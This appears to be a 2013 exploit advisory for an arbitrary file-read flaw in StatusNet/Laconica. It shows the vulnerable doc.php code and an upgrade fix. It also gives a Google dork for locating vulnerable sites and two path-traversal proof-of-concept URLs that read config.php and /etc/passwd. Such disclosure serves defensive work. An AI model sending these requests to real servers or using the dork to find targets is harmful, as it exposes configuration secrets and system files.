+-------------------------------------------------------------------------------+
+ StatusNet/Laconica <= 0.7.4, <= 0.8.2, <= 0.9.0beta3 - arbitrary file reading +
+-------------------------------------------------------------------------------+

# Date:
	- 10/10/2013

# Exploit Author:
	- spiderboy

# Vendor Homepage:
	- http://status.net/

# Software Links:
	- http://status.net/laconica-0.7.4.tar.gz
	- http://status.net/statusnet-0.8.2.tar.gz
	- http://status.net/statusnet-0.9.0beta3.tar.gz

# Version:
	- Branch 0.7.X : <= 0.7.4
	- Branch 0.8.X : <= 0.8.2
	- Branch 0.9.X : <= 0.9.0beta3

# Tested on:
	- Unix/Linux

# Category:
	- Webapps

# Platform:
	- php

# Advisories :
	- http://status.net/wiki/Security_alert_0000002
	- http://osvdb.org/show/osvdb/95586

# Google Dork:
	- "It runs the StatusNet microblogging software, version 0.8.2"

# Vendor product description:
	- Free and Open Source social software

# Vulnerable code:
	- actions/doc.php:
	--------------------------------------------------------------------
	function handle($args)
	{
		parent::handle($args);
		$this->title    = $this->trimmed('title');
		$this->filename = INSTALLDIR.'/doc-src/'.$this->title; //[1]
		if (!file_exists($this->filename)) {
			$this->clientError(_('No such document.'));
			return;
		}
		$this->showPage();
	}
	--------------------------------------------------------------------
	[1] : No check on user-supplied parameter $this->title

# Proof of concept:
	- http://[host]/index.php?action=doc&title=../config.php
	- http://[host]/index.php?action=doc&title=../../../../../../../../etc/passwd

# Solution:
	- Upgrade to latest version : http://status.net/download